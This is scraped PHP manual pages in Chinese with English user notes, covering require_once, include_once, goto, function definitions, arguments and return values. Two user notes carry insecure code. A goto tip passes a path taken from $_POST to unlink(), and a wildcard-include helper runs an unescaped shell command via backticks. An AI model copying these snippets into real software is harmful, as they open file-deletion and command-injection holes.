class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
miqrogroove 01-May-2005 11:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br 22-Mar-2005 05:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP 17-Mar-2005 02:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl 10-Mar-2005 05:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
    require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk 21-Jan-2005 02:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
18-Mar-2004 09:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.


include_once

(PHP 4, PHP 5, PHP 7, PHP 8)

include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似，唯一区别是如果该文件中已经被包含过，则不会再次包含，且 include_once 会返回 true。 顾名思义，require_once，文件仅仅包含（require）一次。

include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下，想确保它只被包含一次以避免函数重定义，变量重新赋值等问题。

更多信息参见 include 文档。

User Contributed Notes

There are no user contributed notes for this page.


goto

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

What's the worse thing that could happen if you use goto?
此漫画鸣谢 » xkcd

goto 操作符可以用来跳转到程序中的另一位置。该目标位置可以用 区分大小写 的目标名称加上冒号来标记，而跳转指令是 goto 之后接上目标位置的标记。PHP 中的 goto 有一定限制，目标位置只能位于同一个文件和作用域，也就是说无法跳出一个函数或类方法，也无法跳入到另一个函数。也无法跳入到任何循环或者 switch 结构中。可以跳出循环或者 switch，通常的用法是用 goto 代替多层的 break。

Example #1 goto 示例

<?php
goto a;
echo 'Foo';

a:
echo 'Bar';
?>

以上示例会输出：

Bar

Example #2 goto 跳出循环示例

<?php
for($i=0,$j=50; $i<100; $i++) {
while($j--) {
if($j==17) goto end;
}
}
echo "i = $i";
end:
echo 'j hit 17';
?>

以上示例会输出：

j hit 17

Example #3 以下写法无效

<?php
goto loop;
for($i=0,$j=50; $i<100; $i++) {
while($j--) {
loop:
}
}
echo "$i = $i";
?>

以上示例会输出：

Fatal error: 'goto' into loop or switch statement is disallowed in
script on line 2

User Contributed Notes

Anonymous 07-Sep-2023 08:28
Example to exit loops:

for ($i = 0; $i < 10; $i++) {
    for ($j = 0; $j < 10; $j++) {
        if ($condition) {
            goto exit;
        }
    }
}
exit:
echo "Out of the loop.";
BPI 28-Sep-2022 11:37
You can jump inside the same switch. This can be usefull to jump to default
<?php
$x=3;
switch($x){
    case 0:
    case 3:
        print($x);
        if($x)
            goto def;
    case 5:
        $x=6;
    default:
        def:
        print($x);
}
?>
firstbitrix at ya dot ru 24-Feb-2022 09:52
I found a good way to use goto for walking through a foreach iteration one another time in order not to walk through whole array once again or not to use special and mostly complex if...else constructions.

But don't forget to make an exit from the goto loop if the iteration of rewalking reaches to many attemptions.

Brief example:

foreach ($fooArray as $foo) {

    $attemptionLimit = 0;
    restartIteration:
    if (++$attemptionLimit > 10) {
        continue;
    }

    $result = $foo->doSomething();
    if (!$result) {
        $foo->doSomethingElse($attemptionLimit);
        goto restartIteration;
    } else {
        echo "Done!";
    }
}
devbyjesus at example dot com 03-Feb-2022 06:58
the problem of goto is that it is a good feature but in a large codebase it reduces the readability of the code . that's all . i try to not use it to think about the person who is going to read after me .
PHP_is_still_great 17-Mar-2021 01:09
// goto is STILL a good feature if you know how to use it.
// Just don't use it in loops.
// Example:

        $sql = "DELETE FROM sometable WHERE id=?;";
        $stmt = $conn->prepare($sql);
        if (!$stmt) {
            echo "ERR prepare_fail";
            goto End;
        }
        $bind = $stmt->bind_param('i', $id);
        if (!$bind) {
            echo "ERR bind_fail";
            goto End;
        }
        $exec = $stmt->execute();
        if (!$exec) {
            echo "ERR exec_fail";
            goto End;
        }
        if (isset($_POST['file'])) {
            $file = "../" . $_POST['file'];
            if (is_file($file)) { unlink($file); }
        }
        echo "OK delete_success" ;

        End:
        $stmt->close();
        $conn->close();
        exit;

/*
    instead of repeating the $stmt->close() and $conn->close(),
    we save a few lines by adding a goto and just close everything at the end.
*/
Lollo 05-Jan-2021 02:00
You should mention the label can't be a variable


函数

Table of Contents

  • 用户自定义函数
  • 函数的参数
  • 返回值
  • 可变函数
  • 内部（内置）函数
  • 匿名函数
  • 箭头函数
  • First class callable syntax

User Contributed Notes

There are no user contributed notes for this page.


用户自定义函数

一个函数可由以下的语法来定义：

Example #1 展示函数用途的伪代码

<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Example function.\n";
return $retval;
}
?>

任何有效的 PHP 代码都有可能出现在函数内部，甚至包括其它函数和 类 定义。

函数名和 PHP 中的其它标识符命名规则相同。有效的函数名以字母或下划线打头，后面跟字母，数字或下划线。可以用正则表达式表示为: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$。

Tip

请参见用户空间命名指南。

函数无需在调用之前被定义，除非 是下面两个例子中函数是有条件被定义时。

当一个函数是有条件被定义时，必须在调用函数 之前 定义。

Example #2 有条件的函数

<?php

$makefoo = true;

/* 不能在此处调用foo()函数，
因为它还不存在，但可以调用bar()函数。*/

bar();

if ($makefoo) {
function foo()
{
echo "I don't exist until program execution reaches me.\n";
}
}

/* 现在可以安全调用函数 foo()
因为 $makefoo 值为真 */

if ($makefoo) foo();

function bar()
{
echo "I exist immediately upon program start.\n";
}

?>

Example #3 函数中的函数

<?php
function foo()
{
function bar()
{
echo "I don't exist until foo() is called.\n";
}
}

/* 现在还不能调用 bar() 函数，因为它还不存在 */

foo();

/* 现在可以调用 bar() 函数了，因为 foo() 函数
的执行使得 bar() 函数变为已定义的函数 */

bar();

?>

PHP 中的所有函数和类都具有全局作用域，可以定义在一个函数之内而在之外调用，反之亦然。

PHP 不支持函数重载，也不可能取消定义或者重定义已声明的函数。

Note: 从 A 到 Z 的 ASCII 函数名是大小写无关的，不过在调用函数的时候，使用其在定义时相同的形式是个好习惯。

PHP 的函数支持 可变数量的参数 和 默认参数。参见 func_num_args()，func_get_arg() 和 func_get_args()。

在 PHP 中可以调用递归函数。

Example #4 递归函数

<?php
function recursion($a)
{
if ($a < 20) {
echo "$a\n";
recursion($a + 1);
}
}
?>

Note: 但是要避免递归函数／方法调用超过 100-200 层，因为可能会使堆栈崩溃从而使当前脚本终止。 无限递归可视为编程错误。

User Contributed Notes

There are no user contributed notes for this page.


函数的参数

通过参数列表可以传递信息到函数，即以逗号作为分隔符的表达式列表。函数在实际调用之前，值参数是从左向右求值的（及早求值）。

PHP 支持按值传递参数（默认），通过引用传递参数 以及 默认参数。也支持 可变长度参数列表 和 命名参数。

Example #1 向函数传递数组

<?php
function takes_array($input)
{
echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

从 PHP 8.0.0 开始，函数参数列表可以包含一个尾部的逗号，这个逗号将被忽略。这在参数列表较长或包含较长的变量名的情况下特别有用，这样可以方便地垂直列出参数。

Example #2 函数参数使用尾部逗号

<?php
function takes_many_args(
$first_arg,
$second_arg,
$a_very_long_argument_name,
$arg_with_default = 5,
$again = 'a default string', // 在 8.0.0 之前，这个尾部的逗号是不允许的。
)
{
// ...
}
?>

通过引用传递参数

默认情况下，函数参数通过值传递（因而即使在函数内部改变参数的值，它并不会改变函数外部的值）。如果希望允许函数修改它的参数值，必须通过引用传递参数。

如果想要函数的一个参数总是通过引用传递，可以在函数定义中该参数的前面加上符号 &：

Example #3 用引用传递函数参数

<?php
function add_some_extra(&$string)
{
$string .= 'and something extra.';
}
$str = 'This is a string, ';
add_some_extra($str);
echo $str; // 输出 'This is a string, and something extra.'
?>

默认参数的值

函数可以使用类似分配变量的语法定义参数的默认值。仅当参数未指定时才使用默认值；需要注意的是传递 null 不会分配默认值。

Example #4 在函数中使用默认参数

<?php
function makecoffee($type = "cappuccino")
{
return "Making a cup of $type.\n";
}
echo makecoffee();
echo makecoffee(null);
echo makecoffee("espresso");
?>

以上示例会输出：

Making a cup of cappuccino.
Making a cup of .
Making a cup of espresso.

默认参数值可以是标量值、array、特殊类型 null，以及从 PHP 8.1.0 开始，使用 new ClassName() 语法的对象。

Example #5 使用非标量类型作为默认参数

<?php
function makecoffee($types = array("cappuccino"), $coffeeMaker = NULL)
{
$device = is_null($coffeeMaker) ? "hands" : $coffeeMaker;
return "Making a cup of ".join(", ", $types)." with $device.\n";
}
echo makecoffee();
echo makecoffee(array("cappuccino", "lavazza"), "teapot");?>

Example #6 使用对象作为默认值（自 PHP 8.1.0 起）

<?php
class DefaultCoffeeMaker {
public function brew() {
return 'Making coffee.';
}
}
class FancyCoffeeMaker {
public function brew() {
return 'Crafting a beautiful coffee just for you.';
}
}
function makecoffee($coffeeMaker = new DefaultCoffeeMaker)
{
return $coffeeMaker->brew();
}
echo makecoffee();
echo makecoffee(new FancyCoffeeMaker);
?>

默认值必须是常量表达式，不能是诸如变量，类成员，或者函数调用等。

注意任何可选参数都应在强制参数之后指定，否则可选参数不能在调用时省略。考虑以下示例：

Example #7 函数默认参数的不正确用法

<?php
function makeyogurt($container = "bowl", $flavour)
{
return "Making a $container of $flavour yogurt.\n";
}

echo makeyogurt("raspberry"); // "raspberry" 是 $container, 不是 $flavour
?>

以上示例会输出：

Fatal error: Uncaught ArgumentCountError: Too few arguments
 to function makeyogurt(), 1 passed in example.php on line 42

现在，比较上面的例子和这个例子：

Example #8 函数默认参数正确的用法

<?php
function makeyogurt($flavour, $container = "bowl")
{
return "Making a $container of $flavour yogurt.\n";
}

echo makeyogurt("raspberry"); // "raspberry" 是 $flavour
?>

以上示例会输出：

Making a bowl of raspberry yogurt.

自 PHP 8.0.0 起，命名参数可用于跳过多个可选参数。

Example #9 函数默认参数正确的用法

<?php
function makeyogurt($container = "bowl", $flavour = "raspberry", $style = "Greek")
{
return "Making a $container of $flavour $style yogurt.\n";
}

echo makeyogurt(style: "natural");
?>

以上示例会输出：

Making a bowl of raspberry natural yogurt.

自 PHP 8.0.0 起，弃用在可选参数之后声明强制参数。这通常可以通过删除默认值来解决，因为它永远不会被使用。唯一的例外是 Type $param = null 类型的参数，其中默认 null 使得该类型可以隐式为 null。这种做法依然允许，但是推荐使用显式可为 null 类型代替。

Example #10 强制参数后声明可选参数

<?php
function foo($a = [], $b) {} // 默认不使用；自 PHP 8.0.0 起弃用
function foo($a, $b) {} // 功能相同，无弃用通知

function bar(A $a = null, $b) {} // 仍然允许；但 $a 强制但可以为 null
function bar(?A $a, $b) {} // 推荐
?>

Note: 自 PHP 7.1.0 起，省略未指定默认值的参数会原因引发 ArgumentCountError；在此之前的版本会引发警告。

Note: 传引用的参数也可以有默认值。

可变数量的参数列表

PHP 在用户自定义函数中支持可变数量的参数列表。由 ... 语法实现。

包含 ... 的参数，会转换为指定参数变量的一个 array：

Example #11 使用 ... 来访问变量参数

<?php
function sum(...$numbers) {
$acc = 0;
foreach ($numbers as $n) {
$acc += $n;
}
return $acc;
}

echo sum(1, 2, 3, 4);
?>

以上示例会输出：

10

也可以使用 ... 语法来传递 array 或 Traversable 做为参数到函数中：

Example #12 使用 ... 来传递参数

<?php
function add($a, $b) {
return $a + $b;
}

echo add(...[1, 2])."\n";

$a = [1, 2];
echo add(...$a);
?>

以上示例会输出：

3
3

你可以在 ... 前指定正常的位置参数。在这种情况下，只有不符合位置参数的尾部参数才会被添加到 ... 生成的数组中。

你也可以在 ... 标记前添加一个 类型声明。如果存在这种情况，那么 ... 捕获的所有参数都必须匹配参数类型。

Example #13 输入提示的变量参数

<?php
function total_intervals($unit, DateInterval ...$intervals) {
$time = 0;
foreach ($intervals as $interval) {
$time += $interval->$unit;
}
return $time;
}

$a = new DateInterval('P1D');
$b = new DateInterval('P2D');
echo total_intervals('d', $a, $b).' days';

// 这将会失败，因为 null 不是 DateInterval 对象。
echo total_intervals('d', null);
?>

以上示例会输出：

3 days
Catchable fatal error: Argument 2 passed to total_intervals() must be an instance of DateInterval, null given, called in - on line 14 and defined in - on line 2

最后，你还可以给参数传递 引用变量，通过在 ... 前加上一个 (&) 符号来实现。

命名参数

PHP 8.0.0 开始引入了命名参数作为现有位置参数的扩展。命名参数允许根据参数名而不是参数位置向函数传参。这使得参数的含义自成体系，参数与顺序无关，并允许任意跳过默认值。

命名参数通过在参数名前加上冒号来传递。允许使用保留关键字作为参数名。参数名必须是一个标识符，不允许动态指定。

Example #14 命名参数的语法

<?php
myFunction(paramName: $value);
array_foobar(array: $value);

// 不支持。
function_name($variableStoringParamName: $value);
?>

Example #15 通过位置传参与命名参数的对比

<?php
// 使用顺序传递参数：
array_fill(0, 100, 50);

// 使用命名参数：
array_fill(start_index: 0, count: 100, value: 50);
?>

指定参数的传递顺序并不重要。

Example #16 参数顺序不同的示例（同上例）

<?php
array_fill(value: 50, count: 100, start_index: 0);
?>

命名参数也可以与位置参数相结合使用。此种情况下，命名参数必须在位置参数之后。也可以只指定一个函数的部分可选参数，而不考虑它们的顺序。

Example #17 命名参数与位置参数结合使用

<?php
htmlspecialchars($string, double_encode: false);
// 等价于
htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8', false);
?>

传递多个相同参数将会导致 Error 异常。

Example #18 传递多个相同参数将会导致抛出 Error

<?php
function foo($param) { ... }

foo(param: 1, param: 2);
// 错误：命名参数 $param 覆盖了之前的参数
foo(1, param: 2);
// 错误：命名参数 $param 覆盖了之前的参数
?>

自 PHP 8.1.0 起，可以在解包参数后面使用命名参数。命名参数不能覆盖已解包的参数。

Example #19 解包后使用命名参数

<?php
function foo($a, $b, $c = 3, $d = 4) {
return $a + $b + $c + $d;
}

var_dump(foo(...[1, 2], d: 40)); // 46
var_dump(foo(...['b' => 2, 'a' => 1], d: 40)); // 46

var_dump(foo(...[1, 2], b: 20)); // Fatal error。命名参数 $b 覆盖之前的参数
?>

User Contributed Notes

Luna 15-Dec-2022 06:23
When using named arguments and adding default values only to some of the arguments, the arguments with default values must be specified at the end or otherwise PHP throws an error:

<?php

function test1($a, $c, $b = 2)
{
    return $a + $b + $c;
}

function test2($a, $b = 2, $c)
{
    return $a + $b + $c;
}

echo test1(a: 1, c: 3)."\n"; // Works
echo test2(a: 1, c: 3)."\n"; // ArgumentCountError: Argument #2 ($b) not passed

?>

I assume that this happens because internally PHP rewrites the calls to something like test1(1, 3) and test2(1, , 3). The first call is valid, but the second obviously isn't.
tianyiw at vip dot qq dot com 15-Sep-2022 06:57
<?php
/**
 * Create an array using Named Parameters.
 *
 * @param mixed ...$values
 * @return array
 */
function arr(mixed ...$values): array
{
    return $values;
}

$arr = arr(
    name: 'php',
    mobile: 123456,
);

var_dump($arr);
// array(2) {
//   ["name"]=>
//   string(3) "php"
//   ["mobile"]=>
//   int(123456)
// }
TwystO 28-Apr-2022 12:40
As stated in the documentation, the ... token can be used to pass an array of parameters to a function.

But it also works for class constructors as you can see below :

<?php

class Courtesy {
    public string $firstname;
    public string $lastname;

    public function __construct($firstname, $lastname) {
        $this->firstname = $firstname;
        $this->lastname = $lastname;
    }

    public function hello() {
        return 'Hello ' . $this->firstname . ' ' . $this->lastname . '!';
    }
}

$params = [ 'John', 'Doe' ];

$courtesy = new Courtesy(...$params);

echo $courtesy->hello();

?>
Simmo at 9000 dot 000 09-Mar-2022 05:13
For anyone just getting started with php or searching, for an understanding, on what this page describes as a "... token" in Variable-length arguments:
https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
<?php

  func($a, ...$b)

?>
The 3 dots, or elipsis, or "...", or dot dot dot is sometimes called the "spread operator" in other languages.

As this is only used in function arguments, it is probably not technically an true operator in PHP.  (As of 8.1 at least?).

(With having an difficult to search for name like "... token", I hope this note helps someone).
tesdy14 at gmail dot com 08-Nov-2021 05:43
function my_fonction(string $value) {
    echo $value . PHP_EOL;
}

my_fonction(['foo' => 'ko', 'bar' => 'not', 'goodValue' => 'Oh Yeah']['goodValue']);

// return 'Oh Yeah'

// This may sound strange, anyway it's very useful in a foreach (or other conditional structure).

$expectedStatusCodes = [404, 403];

function getValueFromArray(string $value): string
{
    return $value . PHP_EOL;
}

foreach ($expectedStatusCodes as $code) {
    echo $currentUserReference = getValueFromArray(
        [
            404 => "Doesn't exist",
            403 => 'Forbidden',
            200 => "you're welcome"
        ][$code]
    );
}
LilyWhite 03-Oct-2021 12:20
It is worth noting that you can use functions as function arguments

<?php
function run($op, $a, $b) {
  return $op($a, $b);
}

$add = function($a, $b) {
  return $a + $b;
};

$mul = function($a, $b) {
  return $a * $b;
};

echo run($add, 1, 2), "\n";
echo run($mul, 1, 2);
?>

Output:
3
2
rsperduta at gmail dot com 13-Feb-2021 07:33
About example #2: That little comma down at the end and often obscured by a line comment is easily over looked. I think it's worth considering putting it at the head of the next line to make clear what it's relationship is to the surrounding lines. Consider how much clearer it's continuation as a list of parameters:

<?php
function takes_many_args(
    $first_arg // some description
    , $second_arg // another comment
    , $a_very_long_argument_name = something($complicated) // IDK
    , $arg_with_default = 5
    , $again = 'a default string', // IMHO this trailing comma encourages illegible code and not being permitted seemed  a good idea lost with 8.0.0.
) {
    // ...
}
?>

 This principle can be applied equally to complicated boolean expressions of an "if" statement (or the parts of a for statement).
shaman_master at list dot ru 22-Nov-2019 04:38
You can use the class/interface as a type even if the class/interface is not  defined yet or the class/interface implements current class/interface.
<?php
interface RouteInterface
{
    public function getGroup(): ?RouteGroupInterface;
}
interface RouteGroupInterface extends RouteInterface
{
    public function set(RouteInterface $item);
}
?>
'self' type - alias to current class/interface, it's not changed in implementations. This code looks right but throw error:
<?php
class Route
{
    protected $name;
     // method must return Route object
    public function setName(string $name): self
    {
         $this->name = $name;
         return $this;
    }
}
class RouteGroup extends Route
{
    // method STILL must return only Route object
    public function setName(string $name): self
    {
         $name .= ' group';
         return parent::setName($name);
    }
}
?>
dmitry dot balabka at gmail dot com 13-Nov-2018 09:47
There is a possibility to use parent keyword as type hint which is not mentioned in the documentation.

Following code snippet will be executed w/o errors on PHP version 7. In this example, parent keyword is referencing on ParentClass instead of ClassTrait.
<?php
namespace TestTypeHints;

class ParentClass
{
    public function someMethod()
    {
        echo 'Some method called' . \PHP_EOL;
    }
}

trait ClassTrait
{
    private $original;

    public function __construct(parent $original)
    {
        $this->original = $original;
    }

    protected function getOriginal(): parent
    {
        return $this->original;
    }
}

class Implementation extends ParentClass
{
    use ClassTrait;

    public function callSomeMethod()
    {
        $this->getOriginal()->someMethod();
    }
}

$obj = new Implementation(new ParentClass());
$obj->callSomeMethod();
?>

Outputs:
Some method called
boan dot web at outlook dot com 08-Feb-2018 11:27
Quote:

"The declaration can be made to accept NULL values if the default value of the parameter is set to NULL."

But you can do this (PHP 7.1+):

<?php
function foo(?string $bar) {
    //...
}

foo(); // Fatal error
foo(null); // Okay
foo('Hello world'); // Okay
?>
igorsantos07 at gmail dot com 27-Dec-2017 05:06
PHP 7+ does type coercion if strict typing is not enabled, but there's a small gotcha: it won't convert null values into anything.

You must explicitly set your default argument value to be null (as explained in this page) so your function can also receive nulls.

For instance, if you type an argument as "string", but pass a null variable into it, you might expect to receive an empty string, but actually, PHP will yell at you a TypeError.

<?php
function null_string_wrong(string $str) {
  var_dump($str);
}
function null_string_correct(string $str = null) {
  var_dump($str);
}
$null = null;
null_string_wrong('a');     //string(1) "a"
null_string_correct('a');   //string(1) "a"
null_string_correct();      //NULL
null_string_correct($null); //NULL
null_string_wrong($null);   //TypeError thrown
?>
info at keraweb dot nl 21-Sep-2017 09:25
You can use a class constant as a default parameter.

<?php

class A {
    const FOO = 'default';
    function bar( $val = self::FOO ) {
        echo $val;
    }
}

$a = new A();
$a->bar(); // Will echo "default"
Hayley Watson 30-Aug-2017 11:41
There are fewer restrictions on using ... to supply multiple arguments to a function call than there are on using it to declare a variadic parameter in the function declaration. In particular, it can be used more than once to unpack arguments, provided that all such uses come after any positional arguments.

<?php

$array1 = [[1],[2],[3]];
$array2 = [4];
$array3 = [[5],[6],[7]];

$result = array_merge(...$array1); // Legal, of course: $result == [1,2,3];
$result = array_merge($array2, ...$array1); // $result == [4,1,2,3]
$result = array_merge(...$array1, $array2); // Fatal error: Cannot use positional argument after argument unpacking.
$result = array_merge(...$array1, ...$array3); // Legal! $result == [1,2,3,5,6,7]
?>

The Right Thing for the error case above would be for $result==[1,2,3,4], but this isn't yet (v7.1.8) supported.
Hayley Watson 16-Aug-2017 12:50
If you use ... in a function's parameter list, you can use it only once for obvious reasons. Less obvious is that it has to be on the LAST parameter; as the manual puts it: "You may specify normal positional arguments BEFORE the ... token. (emphasis mine).

<?php
function variadic($first, ...$most, $last)
{/*etc.*/}

variadic(1, 2, 3, 4, 5);
?>
results in a fatal error, even though it looks like the Thing To Do™ would be to set $first to 1, $most to [2, 3, 4], and $last to 5.
gabriel at figdice dot org 11-Aug-2016 07:05
A function's argument that is an object, will have its properties modified by the function although you don't need to pass it by reference.

<?php
$x = new stdClass();
$x->prop = 1;

function f ( $o ) // Notice the absence of &
{
  $o->prop ++;
}

f($x);

echo $x->prop; // shows: 2
?>

This is different for arrays:

<?php
$y = [ 'prop' => 1 ];

function g( $a )
{
  $a['prop'] ++;
  echo $a['prop'];  // shows: 2
}

g($y);

echo $y['prop'];  // shows: 1
?>
catman at esteticas dot se 07-Feb-2016 01:06
I wondered if variable length argument lists and references works together, and what the syntax might be. It is not mentioned explicitly yet in the php manual as far as I can find. But other sources mention the following syntax "&...$variable" that works in php  5.6.16.

<?php
function foo(&...$args)
{
    $i = 0;
    foreach ($args as &$arg) {
        $arg = ++$i;
    }
}
foo($a, $b, $c);
echo 'a = ', $a, ', b = ', $b, ', c = ', $c;
?>
Gives
a = 1, b = 2, c = 3
php at richardneill dot org 28-Mar-2015 07:24
To experiment on performance of pass-by-reference and pass-by-value, I used this  script. Conclusions are below.

#!/usr/bin/php
<?php
function sum($array,$max){   //For Reference, use:  "&$array"
    $sum=0;
    for ($i=0; $i<2; $i++){
        #$array[$i]++;        //Uncomment this line to modify the array within the function.
        $sum += $array[$i];
    }
    return ($sum);
}

$max = 1E7                  //10 M data points.
$data = range(0,$max,1);

$start = microtime(true);
for ($x = 0 ; $x < 100; $x++){
    $sum = sum($data, $max);
}
$end =  microtime(true);
echo "Time: ".($end - $start)." s\n";

/* Run times:
#    PASS BY    MODIFIED?   Time
-    -------    ---------   ----
1    value      no          56 us
2    reference  no          58 us

3    valuue     yes         129 s
4    reference  yes         66 us

Conclusions:

1. PHP is already smart about zero-copy / copy-on-write. A function call does NOT copy the data unless it needs to; the data is
   only copied on write. That's why  #1 and #2 take similar times, whereas #3 takes 2 million times longer than #4.
   [You never need to use &$array to ask the compiler to do a zero-copy optimisation; it can work that out for itself.]

2. You do use &$array  to tell the compiler "it is OK for the function to over-write my argument in place, I don't need the original
   any more." This can make a huge difference to performance when we have large amounts of memory to copy.
   (This is the only way it is done in C, arrays are always passed as pointers)

3. The other use of & is as a way to specify where data should be *returned*. (e.g. as used by exec() ).
   (This is a C-like way of passing pointers for outputs, whereas PHP functions normally return complex types, or multiple answers
   in an array)

4. It's  unhelpful that only the function definition has &. The caller should have it, at least as syntactic sugar. Otherwise
   it leads to unreadable code: because the person reading the function call doesn't expect it to pass by reference. At the moment,
   it's necessary to write a by-reference function call with a comment, thus:
    $sum = sum($data,$max);  //warning, $data passed by reference, and may be modified.

5. Sometimes, pass by reference could be at the choice of the caller, NOT the function definitition. PHP doesn't allow it, but it
   would be meaningful for the caller to decide to pass data in as a reference. i.e. "I'm done with the variable, it's OK to stomp
   on it in memory".
*/
?>
Horst Schirmeier 08-Jan-2014 11:58
Editor's note: what is expected here by the parser is a non-evaluated expression. An operand and two constants requires evaluation, which is not done by the parser. However, this feature is included as of PHP 5.6.0. See this page for more information: http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs
--------

"The default value must be a constant expression" is misleading (or even wrong).  PHP 5.4.4 fails to parse this function definition:

function htmlspecialchars_latin1($s, $flags = ENT_COMPAT | ENT_HTML401) {}

This yields a " PHP Parse error:  syntax error, unexpected '|', expecting ')' " although ENT_COMPAT|ENT_HTML401 is certainly what a compiler-affine person would call a "constant expression".

The obvious workaround is to use a single special value ($flags = NULL) as the default, and to set it to the desired value in the function's body (if ($flags === NULL) { $flags = ENT_COMPAT | ENT_HTML401; }).
John 15-Nov-2006 03:20
This might be documented somewhere OR obvious to most, but when passing an argument by reference (as of PHP 5.04) you can assign a value to an argument variable in the function call. For example:

function my_function($arg1, &$arg2) {
  if ($arg1 == true) {
    $arg2 = true;
  }
}
my_function(true, $arg2 = false);
echo $arg2;

outputs 1 (true)

my_function(false, $arg2 = false);
echo $arg2;

outputs 0 (false)
jcaplan at bogus dot amazon dot com 09-Mar-2006 03:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 31-Oct-2005 02:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
    ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
    // This function increments each
    // "pseudo-argument" by 2s
    foreach ($A as &$x) {
      $x += 2;
    }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.


返回值

值通过使用可选的返回语句返回。可以返回包括数组和对象的任意类型。返回语句会立即中止函数的运行，并且将控制权交回调用该函数的代码行。更多信息见 return。

Note:

如果省略了 return，则返回值为 null。

return 的使用

Example #1 return 的使用

<?php
function square($num)
{
return $num * $num;
}
echo square(4); // 输出 '16'。
?>

函数不能返回多个值，但可以通过返回一个数组来得到类似的效果。

Example #2 返回一个数组以得到多个返回值

<?php
function small_numbers()
{
return [0, 1, 2];
}
// 使用短数组语法将数组中的值赋给一组变量
[$zero, $one, $two] = small_numbers();

// 在 7.1.0 之前，唯一相等的选择是使用 list() 结构
list($zero, $one, $two) = small_numbers();
?>

从函数返回一个引用，必须在函数声明和指派返回值给一个变量时都使用引用运算符 &：

Example #3 从函数返回一个引用

<?php
function &returns_reference()
{
return $someref;
}

